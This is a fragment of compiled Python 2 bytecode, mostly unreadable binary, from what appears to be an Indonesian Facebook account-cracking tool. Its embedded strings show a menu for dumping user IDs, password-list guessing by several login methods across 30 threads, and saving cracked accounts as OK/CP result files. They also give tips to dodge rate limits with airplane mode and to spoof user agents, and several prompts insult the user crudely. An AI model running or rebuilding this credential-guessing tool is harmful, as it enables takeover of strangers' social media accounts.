(\x02\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00(\x02\x00\x00\x00R1\x00\x00\x00R2\x00\x00\x00(\x02\x00\x00\x00RJ\x00\x00\x00RK\x00\x00\x00(\x02\x00\x00\x00RL\x00\x00\x00RM\x00\x00\x00(\x02\x00\x00\x00RN\x00\x00\x00RO\x00\x00\x00(\x02\x00\x00\x00RP\x00\x00\x00RQ\x00\x00\x00(\x02\x00\x00\x00RR\x00\x00\x00RS\x00\x00\x00(\x02\x00\x00\x00RT\x00\x00\x00RU\x00\x00\x00(\x02\x00\x00\x00RV\x00\x00\x00RW\x00\x00\x00(\x02\x00\x00\x00RX\x00\x00\x00RX\x00\x00\x00(\x02\x00\x00\x00RY\x00\x00\x00RY\x00\x00\x00(\x02\x00\x00\x00R3\x00\x00\x00R4\x00\x00\x00(\'\x00\x00\x00R \x00\x00\x00R%\x00\x00\x00R"\x00\x00\x00t\x04\x00\x00\x00readR=\x00\x00\x00R7\x00\x00\x00R\x15\x00\x00\x00R>\x00\x00\x00R9\x00\x00\x00R:\x00\x00\x00t\x06\x00\x00\x00headerR;\x00\x00\x00R\x0b\x00\x00\x00t\x04\x00\x00\x00textR<\x00\x00\x00t\n\x00\x00\x00exceptionst\x0f\x00\x00\x00ConnectionErrorR8\x00\x00\x00R+\x00\x00\x00R*\x00\x00\x00R\x18\x00\x00\x00R)\x00\x00\x00R\x02\x00\x00\x00t\x01\x00\x00\x00Ut\x02\x00\x00\x00IPt\x06\x00\x00\x00durasiR6\x00\x00\x00R&\x00\x00\x00t\x06\x00\x00\x00publikt\t\x00\x00\x00followerst\t\x00\x00\x00postingant\t\x00\x00\x00useragentt\r\x00\x00\x00tutor_by_dihit\x06\x00\x00\x00hasillRD\x00\x00\x00R\'\x00\x00\x00t\x04\x00\x00\x00grupRE\x00\x00\x00R\x1c\x00\x00\x00(\x08\x00\x00\x00RA\x00\x00\x00RF\x00\x00\x00t\x01\x00\x00\x00at\x03\x00\x00\x00ttlRI\x00\x00\x00t\x04\x00\x00\x00namat\x04\x00\x00\x00dihit\x01\x00\x00\x00c(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDR&\x00\x00\x00\x7f\x00\x00\x00s\xc0\x00\x00\x00\x00\x01\r\x01\x03\x01\x19\x01\r\x01\t\x00\n\x00\r\x00\x0b\x01\x03\x01\x19\x01\x12\x01\n\x01\n\x01\x0e\x01\r\x01\t\x00\n\x00\r\x00\n\x01\x13\x01\x12\x01\r\x01\x07\x01\x05\x01\x15\x00\r\x01\x15\x00\r\x01\x15\x00\r\x01\x15\x00\r\x01\x05\x01\x0f\x01\x0f\x00\n\x01\x0f\x00\n\x01\x0f\x00\n\x01\x0f\x00\n\x01\x0f\x00\n\x01\x0f\x00\n\x01\x0f\x00\n\x01\x0f\x00\n\x01\x0f\x00\n\x01\x0f\x00\n\x01\x0f\x00\n\x01\x16\x01\x0c\x01\x05\x00\n\x01\n\x01\x0c\x01\r\x01\x0c\x01\r\x01\x0c\x01\r\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\t\x02\x16\x01\r\x01\x0c\x01\r\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\x05\x01\x07\x00\n\x00\r\x01\t\x00\n\x02\t\x00\n\x00c\x01\x00\x00\x00\x08\x00\x00\x00\x08\x00\x00\x00C\x00\x00\x00s\x1c\x02\x00\x00|\x00\x00d\x1a\x00k\x06\x00r(\x00d\x02\x00t\x00\x00t\x01\x00t\x00\x00f\x03\x00\x16GHt\x02\x00\x83\x00\x00\x01n\xf0\x01|\x00\x00d\x1b\x00k\x06\x00r\x18\x02y\xa6\x01t\x03\x00j\x04\x00d\x05\x00\x83\x01\x00}\x01\x00d\x01\x00GHx*\x00|\x01\x00D]"\x00}\x02\x00d\x06\x00t\x05\x00t\x00\x00|\x02\x00f\x03\x00\x16GHt\x06\x00d\x07\x00\x83\x01\x00\x01qR\x00Wd\x08\x00t\x00\x00t\x01\x00t\x00\x00t\x07\x00t\x08\x00t\t\x00d\t\x00f\x07\x00\x16GHt\n\x00d\n\x00t\x01\x00\x16\x83\x01\x00}\x02\x00t\x06\x00d\x07\x00\x83\x01\x00\x01|\x02\x00d\x01\x00k\x02\x00r\xc8\x00d\x0b\x00t\x01\x00\x16GHn\x00\x00t\x0b\x00d\x0c\x00|\x02\x00\x16\x83\x01\x00j\x0c\x00\x83\x00\x00j\r\x00\x83\x00\x00}\x03\x00d\r\x00t\x00\x00t\x01\x00t\x00\x00f\x03\x00\x16GHt\x06\x00d\x0e\x00\x83\x01\x00\x01d\x0f\x00|\x02\x00\x16j\x0e\x00d\x10\x00d\x11\x00\x83\x02\x00}\x04\x00t\x0f\x00d\x12\x00t\x00\x00t\x01\x00t\x10\x00|\x03\x00\x83\x01\x00f\x03\x00\x16\x83\x01\x00\x01d\r\x00t\x00\x00t\x01\x00t\x00\x00f\x03\x00\x16GHt\x06\x00d\x0e\x00\x83\x01\x00\x01xM\x00|\x03\x00D]E\x00}\x05\x00|\x05\x00j\x0e\x00d\x13\x00d\x01\x00\x83\x02\x00}\x06\x00|\x06\x00j\x0e\x00d\x14\x00d\x15\x00\x83\x02\x00j\x0e\x00d\x15\x00d\x14\x00\x83\x02\x00}\x07\x00|\x07\x00GHt\x06\x00d\x16\x00\x83\x01\x00\x01qV\x01Wd\r\x00t\x00\x00t\x05\x00t\x00\x00f\x03\x00\x16GHt\x06\x00d\x0e\x00\x83\x01\x00\x01t\n\x00d\x17\x00t\x00\x00t\x01\x00t\x00\x00f\x03\x00\x16\x83\x01\x00\x01t\x11\x00\x83\x00\x00\x01Wq\x18\x02\x04t\x12\x00k\n\x00r\x14\x02\x01\x01\x01d\x18\x00t\x01\x00\x16GHt\n\x00d\x19\x00t\x00\x00t\x01\x00t\x00\x00f\x03\x00\x16\x83\x01\x00\x01t\x11\x00\x83\x00\x00\x01q\x18\x02Xn\x00\x00d\x00\x00S(\x1c\x00\x00\x00NR\x06\x00\x00\x00s\x19\x00\x00\x00%s[%s!%s] Ga ada di menu R.\x00\x00\x00R/\x00\x00\x00R\x1d\x00\x00\x00s\n\x00\x00\x00%s -> %s%sg\x9a\x99\x99\x99\x99\x99\xc9?s\x1f\x00\x00\x00\n %s[%s!%s] cth : CP-%s-%s-%s%ss\x04\x00\x00\x00.txts\x16\x00\x00\x00%s [?] masukan file : s\x16\x00\x00\x00%s [!] file tidak ada s\x08\x00\x00\x00hasil/%ss1\x00\x00\x00 %s[%s*%s] --------------------------------------i\x02\x00\x00\x00s\x02\x00\x00\x00%st\x01\x00\x00\x00-t\x01\x00\x00\x00 s\x18\x00\x00\x00 [%s*%s] total akun : %ss\x01\x00\x00\x00\ns\x06\x00\x00\x00 *--> s\x05\x00\x00\x00 *-->g\xb8\x1e\x85\xebQ\xb8\x9e?s\x11\x00\x00\x00\n%s [ %sBack %s] s\x18\x00\x00\x00\n%s [!] tidak ada hasil s\x12\x00\x00\x00\n%s [ %senter %s] (\x01\x00\x00\x00R\x06\x00\x00\x00(\x02\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00(\x13\x00\x00\x00R*\x00\x00\x00R_\x00\x00\x00R8\x00\x00\x00R \x00\x00\x00t\x07\x00\x00\x00listdirR7\x00\x00\x00R\x15\x00\x00\x00t\x02\x00\x00\x00hat\x02\x00\x00\x00opt\x02\x00\x00\x00taR6\x00\x00\x00R"\x00\x00\x00RZ\x00\x00\x00t\n\x00\x00\x00splitlinest\x07\x00\x00\x00replaceR\x17\x00\x00\x00t\x03\x00\x00\x00lenR&\x00\x00\x00R=\x00\x00\x00(\x08\x00\x00\x00Rm\x00\x00\x00t\x04\x00\x00\x00dirst\x04\x00\x00\x00filet\x05\x00\x00\x00totalt\x07\x00\x00\x00nm_filet\x04\x00\x00\x00akunt\x02\x00\x00\x00fbt\x05\x00\x00\x00tling(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDRg\x00\x00\x00\xc7\x00\x00\x00sF\x00\x00\x00\x00\x01\x0c\x01\x12\x00\n\x01\x0c\x01\x03\x01\x0f\x01\x05\x01\r\x01\x12\x00\x0e\x01\x1e\x01\x10\x00\n\x01\x0c\x01\x0c\x01\x1c\x01\x12\x00\n\x01\x16\x01\x1d\x01\x12\x00\n\x01\r\x01\x12\x01\x1e\x01\x05\x00\x0e\x01\x12\x00\n\x01\x17\x00\x0b\x01\r\x01\t\x01\x17\x00c\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00sv\x00\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x02\x00\x83\x00\x00\x01d\x02\x00GHd\x03\x00GHd\x04\x00GHd\x05\x00GHd\x06\x00GHd\x07\x00GHd\x08\x00GHd\t\x00GHd\n\x00GHd\x0b\x00GHd\x0c\x00GHd\r\x00GHd\x0e\x00GHd\x0f\x00GHd\x10\x00GHt\x03\x00d\x11\x00\x83\x01\x00}\x00\x00t\x04\x00\x83\x00\x00\x01d\x00\x00S(\x12\x00\x00\x00NR(\x00\x00\x00RC\x00\x00\x00s%\x00\x00\x00 [!] Maaf jika tutor dari aku ga works(\x00\x00\x00 [!] tutor ini hasil berhari\xc2\xb2 aku juga s\x1b\x00\x00\x00 [!] ada yang jebol dan ga s-\x00\x00\x00 [!] pertama_tama_kalian_gandakan_apk_fb_kamus+\x00\x00\x00 [!] ke_2_login_dulu_di_fb_yg_kmu_gandakan_sA\x00\x00\x00 [!] ke_3_login_di_fb_lite_ori !! _kalo_cara_di_atas_ga_berhasil_s)\x00\x00\x00 [!] setelah login di fb yang di gandakans\x16\x00\x00\x00 [!] mode pesawat 1\xc3\x97 s\x16\x00\x00\x00 [!] oke cukup sekian s,\x00\x00\x00 [!] kalo kalian ga paham cara gandakan apk?s*\x00\x00\x00 [!] lihat di yt aku kalian klik aja cara s"\x00\x00\x00 [!] gandain aplikasi facebook !! s\x1f\x00\x00\x00 [!] udh gue kasih di menu oke s\x02\x00\x00\x00\t\ts\x1c\x00\x00\x00[!] enter untuk back ke menu(\x05\x00\x00\x00R \x00\x00\x00R%\x00\x00\x00R+\x00\x00\x00R6\x00\x00\x00R&\x00\x00\x00(\x01\x00\x00\x00t\x05\x00\x00\x00tutor(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDRf\x00\x00\x00\xe3\x00\x00\x00s&\x00\x00\x00\x00\x01\r\x01\x07\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x0c\x01c\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00C\x00\x00\x00sO\x00\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x02\x00\x83\x00\x00\x01d\x02\x00t\x03\x00t\x03\x00t\x03\x00f\x03\x00\x16GHd\x03\x00t\x03\x00t\x03\x00f\x02\x00\x16GHd\x04\x00t\x03\x00t\x03\x00f\x02\x00\x16GHt\x04\x00\x83\x00\x00\x01d\x00\x00S(\x05\x00\x00\x00NR(\x00\x00\x00s\x1e\x00\x00\x00\n%s [%s01%s] Ganti user agent s\x19\x00\x00\x00 [%s02%s] Cek user agent s\x17\x00\x00\x00 [%s03%s] Back to menu (\x05\x00\x00\x00R \x00\x00\x00R%\x00\x00\x00R+\x00\x00\x00R_\x00\x00\x00t\x03\x00\x00\x00uas(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDRe\x00\x00\x00\xf8\x00\x00\x00s\x0c\x00\x00\x00\x00\x01\r\x00\x07\x01\x12\x01\x0f\x01\x0f\x01c\x00\x00\x00\x00\x04\x00\x00\x00\x08\x00\x00\x00C\x00\x00\x00sp\x02\x00\x00t\x00\x00d\x01\x00t\x01\x00t\x02\x00f\x02\x00\x16\x83\x01\x00}\x00\x00|\x00\x00d\x02\x00k\x02\x00r?\x00d\x03\x00t\x02\x00\x16GHt\x03\x00d\x04\x00\x83\x01\x00\x01t\x04\x00\x83\x00\x00\x01n-\x02|\x00\x00d#\x00k\x06\x00r\xac\x01d\x07\x00t\x02\x00t\x05\x00t\x02\x00t\x06\x00t\x02\x00t\x05\x00t\x02\x00f\x07\x00\x16GHd\x08\x00t\x05\x00t\x02\x00t\x06\x00t\x02\x00f\x04\x00\x16GHy\x07\x01t\x00\x00d\t\x00t\x01\x00t\x07\x00f\x02\x00\x16\x83\x01\x00}\x01\x00|\x01\x00d\x02\x00k\x06\x00r\xc0\x00d\n\x00t\x02\x00\x16GHt\x03\x00d\x04\x00\x83\x01\x00\x01t\x08\x00\x83\x00\x00\x01n\x8a\x00|\x01\x00d$\x00k\x06\x00r\x05\x01t\t\x00d\x0f\x00t\x06\x00\x16\x83\x01\x00\x01t\x03\x00d\x04\x00\x83\x01\x00\x01t\n\x00j\x0b\x00d\x10\x00\x83\x01\x00\x01t\x03\x00d\x04\x00\x83\x01\x00\x01t\x0c\x00\x83\x00\x00\x01nE\x00|\x01\x00d%\x00k\x06\x00rJ\x01d\x14\x00}\x01\x00t\r\x00d\x15\x00d\x16\x00\x83\x02\x00j\x0e\x00|\x02\x00\x83\x01\x00\x01d\x17\x00t\x06\x00\x16GHt\x03\x00d\x04\x00\x83\x01\x00\x01t\x08\x00\x83\x00\x00\x01n\x00\x00t\r\x00d\x15\x00d\x16\x00\x83\x02\x00j\x0e\x00|\x01\x00\x83\x01\x00\x01t\x03\x00d\x04\x00\x83\x01\x00\x01d\x18\x00t\x06\x00\x16GHt\x03\x00d\x04\x00\x83\x01\x00\x01t\x08\x00\x83\x00\x00\x01Wql\x02\x04t\x0f\x00k\n\x00r\xa8\x01\x01}\x03\x00\x01t\x10\x00d\x19\x00|\x03\x00\x17\x83\x01\x00\x01ql\x02Xn\xc0\x00|\x00\x00d&\x00k\x06\x00r<\x02yc\x00t\r\x00d\x15\x00d\x1c\x00\x83\x02\x00j\x11\x00\x83\x00\x00}\x02\x00t\x03\x00d\x04\x00\x83\x01\x00\x01d\x1d\x00t\x01\x00t\x05\x00t\x01\x00t\x06\x00|\x02\x00f\x05\x00\x16GHt\x03\x00d\x04\x00\x83\x01\x00\x01t\x00\x00d\x1e\x00t\x01\x00t\x05\x00t\x01\x00f\x03\x00\x16\x83\x01\x00\x01t\x08\x00\x83\x00\x00\x01Wql\x02\x04t\x12\x00k\n\x00r8\x02\x01\x01\x01d\x1f\x00t\x07\x00\x16}\x02\x00ql\x02Xn0\x00|\x00\x00d\'\x00k\x06\x00rR\x02t\x08\x00\x83\x00\x00\x01n\x1a\x00d"\x00t\x07\x00\x16GHt\x03\x00d\x04\x00\x83\x01\x00\x01t\x04\x00\x83\x00\x00\x01d\x00\x00S((\x00\x00\x00Ns\x12\x00\x00\x00\n%s [?] pilih :%s R\x06\x00\x00\x00s\x15\x00\x00\x00%s [!] Ga ada di menui\x02\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00sj\x00\x00\x00 %s[%s*%s] ketik %sMy user agent%s di browser google chrome\n [%s*%s] untuk gunakan user agent anda sendiris@\x00\x00\x00 [%s*%s] ketik %sdefault%s untuk gunakan user agent bawaan toolss\x16\x00\x00\x00%s [?] user agent : %ss\x15\x00\x00\x00%s [!] ga ada di menus\r\x00\x00\x00my user agents\r\x00\x00\x00My User Agents\r\x00\x00\x00MY USER AGENTs\r\x00\x00\x00My user agents(\x00\x00\x00%s [!] Anda akan di arahkan ke browser s@\x00\x00\x00am start https://www.google.com/search?q=My+user+agent>/dev/nullt\x07\x00\x00\x00defaultt\x07\x00\x00\x00Defaultt\x07\x00\x00\x00DEFAULTs\x7f\x00\x00\x00Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1s\x0b\x00\x00\x00data/ua.txtR\x1f\x00\x00\x00s\'\x00\x00\x00\n%s [\xe2\x88\x9a] menggunakan user agent bawaans\x12\x00\x00\x00\n%s [\xe2\x88\x9a] berhasils\x0c\x00\x00\x00\x1b[1;91m [!] R1\x00\x00\x00R2\x00\x00\x00RF\x00\x00\x00s!\x00\x00\x00%s [%s*%s] user agent anda : %s%ss\x12\x00\x00\x00\n%s [ %senter%s ] s\x03\x00\x00\x00%s-RJ\x00\x00\x00RK\x00\x00\x00s\x1d\x00\x00\x00%s [!] Isi yang benar kentod (\x02\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00(\x04\x00\x00\x00s\r\x00\x00\x00my user agents\r\x00\x00\x00My User Agents\r\x00\x00\x00MY USER AGENTs\r\x00\x00\x00My user agent(\x03\x00\x00\x00R\x80\x00\x00\x00R\x81\x00\x00\x00R\x82\x00\x00\x00(\x02\x00\x00\x00R1\x00\x00\x00R2\x00\x00\x00(\x02\x00\x00\x00RJ\x00\x00\x00RK\x00\x00\x00(\x13\x00\x00\x00R6\x00\x00\x00R*\x00\x00\x00R_\x00\x00\x00R\x15\x00\x00\x00R\x7f\x00\x00\x00R7\x00\x00\x00R\x18\x00\x00\x00R5\x00\x00\x00R&\x00\x00\x00R\x17\x00\x00\x00R \x00\x00\x00R%\x00\x00\x00Re\x00\x00\x00R"\x00\x00\x00R\x13\x00\x00\x00t\x11\x00\x00\x00KeyboardInterruptR8\x00\x00\x00RZ\x00\x00\x00R=\x00\x00\x00(\x04\x00\x00\x00t\x01\x00\x00\x00ut\x02\x00\x00\x00uaR#\x00\x00\x00t\x02\x00\x00\x00er(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDR\x7f\x00\x00\x00\xfe\x00\x00\x00s`\x00\x00\x00\x00\x01\x16\x01\x0c\x01\t\x00\n\x00\n\x01\x0c\x01\x1e\x01\x15\x01\x03\x01\x16\x01\x0c\x01\t\x00\n\x00\n\x01\x0c\x01\x0e\x00\n\x01\r\x00\n\x00\n\x01\x0c\x01\x06\x01\x16\x01\t\x00\n\x00\n\x01\x16\x00\n\x01\t\x00\n\x00\x0b\x01\x0f\x01\x15\x01\x0c\x01\x03\x01\x15\x00\n\x00\x18\x00\n\x00\x17\x00\x0b\x01\r\x01\x11\x01\x0c\x01\n\x02\t\x00\n\x00t\x07\x00\x00\x00ngentodc\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00B\x00\x00\x00s>\x00\x00\x00e\x00\x00Z\x01\x00d\x00\x00\x84\x00\x00Z\x02\x00d\x01\x00\x84\x00\x00Z\x03\x00d\x02\x00\x84\x00\x00Z\x04\x00d\x03\x00\x84\x00\x00Z\x05\x00d\x04\x00\x84\x00\x00Z\x06\x00d\x05\x00\x84\x00\x00Z\x07\x00RS(\x06\x00\x00\x00c\x01\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s\r\x00\x00\x00g\x00\x00|\x00\x00_\x00\x00d\x00\x00S(\x01\x00\x00\x00N(\x01\x00\x00\x00RI\x00\x00\x00(\x01\x00\x00\x00t\x04\x00\x00\x00self(\x00\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDt\x08\x00\x00\x00__init__!\x01\x00\x00s\x02\x00\x00\x00\x00\x01c\x01\x00\x00\x00\x03\x00\x00\x00\x07\x00\x00\x00\x03\x00\x00\x00s\xe7\x01\x00\x00y\\\x00t\x00\x00d\x01\x00t\x01\x00t\x02\x00f\x02\x00\x16\x83\x01\x00\x88\x00\x00_\x03\x00t\x04\x00\x88\x00\x00j\x03\x00\x83\x01\x00j\x05\x00\x83\x00\x00j\x06\x00\x83\x00\x00\x88\x00\x00_\x07\x00d\x02\x00t\x01\x00t\x02\x00t\x01\x00t\x02\x00t\x08\x00\x88\x00\x00j\x07\x00\x83\x01\x00f\x05\x00\x16GHWn.\x00\x01\x01\x01d\x03\x00t\x02\x00\x16GHt\x00\x00d\x04\x00t\x01\x00t\x02\x00t\x01\x00f\x03\x00\x16\x83\x01\x00\x01t\t\x00\x83\x00\x00\x01n\x01\x00Xt\x00\x00d\x05\x00t\n\x00t\x01\x00f\x02\x00\x16\x83\x01\x00}\x01\x00|\x01\x00d\x1c\x00k\x06\x00r~\x01d\x08\x00t\x01\x00t\x02\x00t\x01\x00t\x02\x00t\x01\x00f\x05\x00\x16GHx\x19\x01t\x0b\x00rz\x01t\x00\x00d\t\x00t\x01\x00t\x02\x00f\x02\x00\x16\x83\x01\x00}\x02\x00|\x02\x00d\n\x00k\x02\x00r\xfe\x00d\x0b\x00t\x0c\x00\x16GHq\xca\x00t\x08\x00|\x02\x00\x83\x01\x00d\x0c\x00k\x01\x00r\x1c\x01d\r\x00t\x0c\x00\x16GHq\xca\x00d\x00\x00\x87\x00\x00\x87\x01\x00f\x02\x00d\x0e\x00\x86\x01\x00\x89\x01\x00d\x0f\x00GHd\x10\x00t\x0e\x00t\x01\x00f\x02\x00\x16GHd\x11\x00t\x0e\x00t\x01\x00f\x02\x00\x16GHd\x12\x00t\x0e\x00t\x01\x00f\x02\x00\x16GH\x88\x01\x00|\x02\x00j\x0f\x00d\x13\x00\x83\x01\x00\x83\x01\x00\x01Pq\xca\x00Wne\x00|\x01\x00d\x1d\x00k\x06\x00r\xc9\x01d\x16\x00GHd\x17\x00t\x02\x00t\x01\x00f\x02\x00\x16GHd\x18\x00t\x02\x00t\x01\x00f\x02\x00\x16GHd\x19\x00t\x02\x00t\x01\x00f\x02\x00\x16GH\x88\x00\x00j\x10\x00\x83\x00\x00\x01n\x1a\x00d\x1a\x00t\x01\x00\x16GHt\x11\x00d\x1b\x00\x83\x01\x00\x01t\t\x00\x83\x00\x00\x01d\x00\x00S(\x1e\x00\x00\x00Ns\x16\x00\x00\x00\n %s[?] Name dump :%s s\x1a\x00\x00\x00%s [%s*%s] Total id : %s%ss\x1b\x00\x00\x00\n%s [!] Lihat di atas bego s\x12\x00\x00\x00\n%s [ %senter %s] s)\x00\x00\x00%s [?] gunakan password manual ? y/t :%s t\x01\x00\x00\x00yt\x01\x00\x00\x00YsC\x00\x00\x00\n %s[%s!%s] cth : %ssayang,anjing%s gunakan , (koma) untuk pemisah s\x18\x00\x00\x00 %s[?] set password :%s R\x06\x00\x00\x00s\x16\x00\x00\x00\n %s[!] jangan kosong i\x05\x00\x00\x00s#\x00\x00\x00\n %s[!] password minimal 6 karakterc\x01\x00\x00\x00\x05\x00\x00\x00\n\x00\x00\x00\x13\x00\x00\x00sO\x03\x00\x00t\x00\x00d\x01\x00t\x01\x00t\x02\x00f\x02\x00\x16\x83\x01\x00}\x01\x00|\x01\x00d\x02\x00k\x02\x00r8\x00d\x03\x00t\x03\x00\x16GH\x88\x00\x00j\x04\x00\x83\x00\x00\x01n\x13\x03|\x01\x00d\x15\x00k\x06\x00r9\x01d\x06\x00t\x05\x00t\x05\x00t\x05\x00t\x05\x00t\x05\x00t\x05\x00t\x06\x00t\x07\x00t\x08\x00f\t\x00\x16GHt\t\x00d\x07\x00\x83\x01\x00\x01d\x08\x00t\n\x00t\n\x00t\n\x00t\n\x00t\x01\x00t\n\x00t\x06\x00t\x07\x00t\x08\x00f\t\x00\x16GHt\t\x00d\x07\x00\x83\x01\x00\x01d\t\x00t\x02\x00t\x02\x00t\x02\x00f\x03\x00\x16GHt\t\x00d\x07\x00\x83\x01\x00\x01t\x0b\x00d\n\x00d\x0b\x00\x83\x00\x01\x8fR\x00}\x02\x00xH\x00\x88\x00\x00j\x0c\x00D]=\x00}\x03\x00y-\x00|\x03\x00j\r\x00d\x0c\x00\x83\x01\x00d\r\x00\x19}\x04\x00|\x02\x00j\x0e\x00\x88\x00\x00j\x0f\x00|\x04\x00|\x00\x00\x83\x03\x00\x01Wq\xd8\x00\x01\x01\x01q\xd8\x00Xq\xd8\x00WWd\x00\x00QXt\x10\x00j\x11\x00\x88\x00\x00j\x12\x00\x83\x01\x00\x01t\x13\x00\x83\x00\x00\x01n\x12\x02|\x01\x00d\x16\x00k\x06\x00r:\x02d\x10\x00t\x05\x00t\x05\x00t\x05\x00t\x05\x00t\x05\x00t\x05\x00t\x06\x00t\x07\x00t\x08\x00f\t\x00\x16GHt\t\x00d\x07\x00\x83\x01\x00\x01d\x08\x00t\n\x00t\n\x00t\n\x00t\n\x00t\n\x00t\n\x00t\x06\x00t\x07\x00t\x08\x00f\t\x00\x16GHt\t\x00d\x07\x00\x83\x01\x00\x01d\x11\x00t\x01\x00t\x03\x00t\x01\x00f\x03\x00\x16GHt\t\x00d\x07\x00\x83\x01\x00\x01t\x0b\x00d\n\x00d\x0b\x00\x83\x00\x01\x8fR\x00}\x02\x00xH\x00\x88\x00\x00j\x0c\x00D]=\x00}\x03\x00y-\x00|\x03\x00j\r\x00d\x0c\x00\x83\x01\x00d\r\x00\x19}\x04\x00|\x02\x00j\x0e\x00\x88\x00\x00j\x14\x00|\x04\x00|\x00\x00\x83\x03\x00\x01Wq\xd9\x01\x01\x01\x01q\xd9\x01Xq\xd9\x01WWd\x00\x00QXt\x10\x00j\x11\x00\x88\x00\x00j\x12\x00\x83\x01\x00\x01t\x13\x00\x83\x00\x00\x01n\x11\x01|\x01\x00d\x17\x00k\x06\x00r;\x03d\x06\x00t\x05\x00t\x05\x00t\x05\x00t\x05\x00t\x05\x00t\x05\x00t\x06\x00t\x07\x00t\x08\x00f\t\x00\x16GHt\t\x00d\x07\x00\x83\x01\x00\x01d\x08\x00t\n\x00t\n\x00t\n\x00t\n\x00t\n\x00t\n\x00t\x06\x00t\x07\x00t\x08\x00f\t\x00\x16GHt\t\x00d\x07\x00\x83\x01\x00\x01d\x11\x00t\x01\x00t\x02\x00t\x01\x00f\x03\x00\x16GHt\t\x00d\x07\x00\x83\x01\x00\x01t\x0b\x00d\n\x00d\x0b\x00\x83\x00\x01\x8fR\x00}\x02\x00xH\x00\x88\x00\x00j\x0c\x00D]=\x00}\x03\x00y-\x00|\x03\x00j\r\x00d\x0c\x00\x83\x01\x00d\r\x00\x19}\x04\x00|\x02\x00j\x0e\x00\x88\x00\x00j\x15\x00|\x04\x00|\x00\x00\x83\x03\x00\x01Wq\xda\x02\x01\x01\x01q\xda\x02Xq\xda\x02WWd\x00\x00QXt\x10\x00j\x11\x00\x88\x00\x00j\x12\x00\x83\x01\x00\x01t\x13\x00\x83\x00\x00\x01n\x10\x00d\x14\x00t\x03\x00\x16GH\x88\x01\x00\x83\x00\x00\x01d\x00\x00S(\x18\x00\x00\x00Ns\x14\x00\x00\x00\n %s[?] methode : %sR\x06\x00\x00\x00s\x1d\x00\x00\x00%s [!] Isi yang benar kentod R.\x00\x00\x00R/\x00\x00\x00s>\x00\x00\x00\n %s[%s*%s] akun %sOK%s tersimpan di >%s hasil/OK-%s-%s-%s.txtg\x9a\x99\x99\x99\x99\x99\xc9?s=\x00\x00\x00%s [%s*%s] akun %sCP %stersimpan di > %shasil/CP-%s-%s-%s.txts;\x00\x00\x00%s [%s!%s] setiap crack 2k ID gunakan mode pesawat 4 detik\nt\x0b\x00\x00\x00max_workersi\x1e\x00\x00\x00s\x03\x00\x00\x00<=>i\x00\x00\x00\x00R1\x00\x00\x00R2\x00\x00\x00s>\x00\x00\x00\n%s [%s*%s] akun %sOK%s tersimpan di >%s hasil/OK-%s-%s-%s.txts<\x00\x00\x00%s [%s!%s] setiap crack 2k ID, gunakan mode pesawat 2 detik\nRJ\x00\x00\x00RK\x00\x00\x00s\x17\x00\x00\x00\n %s[!] isi yang benar (\x02\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00(\x02\x00\x00\x00R1\x00\x00\x00R2\x00\x00\x00(\x02\x00\x00\x00RJ\x00\x00\x00RK\x00\x00\x00(\x16\x00\x00\x00R6\x00\x00\x00R*\x00\x00\x00R_\x00\x00\x00R5\x00\x00\x00t\x04\x00\x00\x00zonaR\x18\x00\x00\x00Rq\x00\x00\x00Rr\x00\x00\x00Rs\x00\x00\x00R\x15\x00\x00\x00R7\x00\x00\x00R\x00\x00\x00\x00RI\x00\x00\x00t\x05\x00\x00\x00splitt\x06\x00\x00\x00submitt\x05\x00\x00\x00b_apiR \x00\x00\x00t\x06\x00\x00\x00removet\x03\x00\x00\x00apkR8\x00\x00\x00t\x05\x00\x00\x00basict\x05\x00\x00\x00mobil(\x05\x00\x00\x00t\x05\x00\x00\x00zafi_t\x03\x00\x00\x00indt\x03\x00\x00\x00logR{\x00\x00\x00t\x04\x00\x00\x00indo(\x02\x00\x00\x00R\x88\x00\x00\x00R\x8d\x00\x00\x00(\x00\x00\x00\x00s\t\x00\x00\x00Sumarr IDR\x8d\x00\x00\x005\x01\x00\x00sl\x00\x00\x00\x00\x01\x16\x01\x0c\x01\t\x00\r\x01\x0c\x01$\x00\n\x01$\x00\n\x01\x12\x00\n\x01\x12\x01\x10\x01\x03\x01\x13\x01\x1a\x01\x03\x00\x0e\x01\x10\x00\n\x01\x0c\x01$\x00\n\x01$\x00\n\x01\x12\x00\n\x01\x12\x01\x10\x01\x03\x01\x13\x01\x1a\x01\x03\x00\x0e\x01\x10\x00\n\x01\x0c\x01$\x00\n\x01$\x00\n\x01\x12\x00\n\x01\x12\x01\x10\x01\x03\x01\x13\x01\x1a\x01\x03\x00\x0e\x01\x10\x00\n\x02\t\x00RC\x00\x00\x00s\x15\x00\x00\x00 [%s01%s] Api_Methodes\x19\x00\x00\x00 [%s02%s] Mabasic_Methodes\x18\x00\x00\x00 [%s03%s] Touch_Methode t\x01\x00\x00\x00,t\x01\x00\x00\x00Tt\x01\x00\x00\x00ts\x02\x00\x00\x00\t\ts\x1a\x00\x00\x00 [%s01%s] Methode with 